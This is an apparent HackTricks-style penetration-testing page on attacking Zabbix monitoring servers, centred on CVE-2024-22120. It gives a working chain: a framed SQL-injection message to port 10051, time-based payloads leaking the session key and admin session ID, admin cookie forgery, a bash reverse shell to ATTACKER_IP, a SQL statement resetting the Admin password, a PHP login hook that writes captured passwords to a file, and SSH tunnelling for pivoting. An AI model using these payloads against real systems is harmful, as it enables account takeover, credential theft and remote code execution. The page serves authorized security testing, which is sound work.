// HackTricks · Network Services

Zabbix Security

Zabbix Security

Overview

Zabbix is a monitoring platform with a web frontend (often behind Apache or Nginx), a server/trapper that commonly listens on TCP/10051, and agents that commonly listen on TCP/10050. During an authorized assessment, you may encounter:[5]

  • Web UI: HTTP(S) virtual host like zabbix.example.tld
  • Zabbix server port: 10051/tcp (messages commonly use JSON inside ZBXD\x01 framing)
  • Zabbix agent port: 10050/tcp

The zbx_session implementation used by the affected versions and public PoC is a Base64-encoded compact JSON object containing fields such as sessionid, serverCheckResult, serverCheckTime, and sign. Treat the precise fields, canonicalization, and signing algorithm as version-specific and confirm them against the deployed frontend code.[1][2]

The vulnerable-version workflow documented by the public research computes the cookie as follows:

  • data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

If you recover the corresponding global session_key and a still-valid administrative sessionid, this format can be used to forge an administrative cookie offline. A different frontend version or invalidated session may require a different structure.[1][2]

CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log

Affected versions (as publicly documented):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, and the 7.0 prereleases from 7.0.0alpha1 through 7.0.0beta1. The vendor issue records fixes in 6.0.28rc1, 6.4.13rc1, and 7.0.0beta2.[3][4]

Vulnerability summary:

  • When a configured script execution is recorded in the Zabbix server audit log, the clientip value reaches an SQL statement without the necessary sanitization, enabling time-based blind SQL injection.[3][4]
  • The vendor’s reproduction uses a crafted command request to port 10051 with an authenticated session, a host that the user can access, and a script that the user is permitted to run. Zabbix’s CVSS assessment classifies the prerequisite as high privileges, while NVD scores it as low privileges; test the actual role, host, and script permissions rather than assuming either classification applies to every installation.[3][4]

Preconditions and discovery tips:

  • sessionid: Decode the authenticated user’s zbx_session cookie when its version uses the JSON format above. A guest identifier is usable only when guest access is enabled and the guest is actually issued a session with the required access.
  • hostid: Obtain an accessible host identifier from frontend requests such as Monitoring → Hosts. Values such as 10084 are lab-specific examples, not universal defaults.
  • scriptid: Verify the scripts exposed to the current user through the menu or frontend requests. Values such as 1, 2, and 3 are lab-specific; authorization depends on the script’s user group, host group, host-access requirement, and scope.[6]

Exploitation flow

  1. Trigger audit insert with SQLi in clientip
  • Connect to TCP/10051 and send a Zabbix framed message with request=“command” including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.

Minimal message (JSON body) fields:

{
  "request": "command",
  "sid": "<low-priv-sessionid>",
  "scriptid": "1",
  "clientip": "' + (SQL_PAYLOAD) + '",
  "hostid": "10084"
}

For these versions, the full wire format is ZBXD\x01 followed by an 8-byte little-endian payload length and the UTF-8 JSON body. You can use pwntools or a socket client to construct it.[5]

  1. Time-bruteforce secrets via conditional sleep

Use conditional expressions to leak hex-encoded secrets one character at a time by measuring response time. The following expressions target the MySQL-compatible schema used in the referenced lab and PoC; adjust functions and schema names for the target database and version:[1][2]

  • Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak a candidate administrative session ID from sessions (the userid=1 assumption is lab-specific):
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notes:

  • charset: 32 hex chars [0-9a-f]
  • Pick T_TRUE much greater than T_FALSE (for example, 10 versus 1) and measure wall-clock time per attempt
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
  1. Forge Admin cookie

For the cookie format described above, once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: a current 32-hex session identifier for the intended administrative account

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Ready-made tooling

  • Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.[1][2]
  • Parameters to provide typically include: —ip (FQDN of UI), —port 10051, —sid (low-priv), —hostid, and optionally a known —admin-sid to skip brute.

RCE via Script execution (post-Admin)

Administrative frontend access alone does not guarantee operating-system command execution. The user must be able to create or run an applicable global script, its Execute on target must run commands, and the corresponding component must permit them. Agent execution normally requires an appropriate AllowKey=system.run[...]; proxy execution requires its remote-command setting; and new Zabbix 7.0 installations set EnableGlobalScripts=0 for server-side global scripts by default. When those prerequisites are present, script execution can yield code execution on monitored systems, often as the zabbix account on Linux.[1][6]

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

In the referenced lab, direct database access also allowed the administrative password to be changed to the shown bcrypt value for zabbix:

UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

This is a destructive, schema-specific post-compromise technique: back up the affected row, verify the username column and account, and expect MFA or external authentication to remain an additional barrier. Prefer creating a temporary, audited recovery account through supported administration procedures when possible.

Credential capture via login hook (post-exploitation)

If file write is already possible on the web server, the referenced lab temporarily added the following logging snippet to /usr/share/zabbix/index.php around the form-login branch. This is an intrusive post-compromise credential-capture technique: use it only with explicit authorization, protect the output, and restore the original file immediately after testing.[1]

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
  $user = $_POST['name'] ?? '??';
  $password = $_POST['password'] ?? '??';
  $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
  CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Users authenticate normally; read /dev/shm/creds.txt afterward and remove the hook. File paths and login code differ across packages and versions.

Pivoting to internal services

Where SSH key authentication and TCP forwarding are accepted for the compromised account, -N -L may allow forwarding to loopback-only services (for example, CI/CD on port 8111) even when the account is not intended for interactive shells. An /usr/sbin/nologin shell, AllowTcpForwarding, DisableForwarding, PermitOpen, key restrictions, or PAM policy can prevent this path, so verify the SSH policy rather than assuming it works:[1]

ssh -i key user@host -N -L 8111:127.0.0.1:8111

See more tunneling patterns in: Check Tunneling and Port Forwarding.

Operational tips

  • Validate that scriptid is permitted for the current role; guest access does not imply permission to run a script
  • A timing attack can be slow; cache a recovered administrative session only while it remains valid
  • The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length

References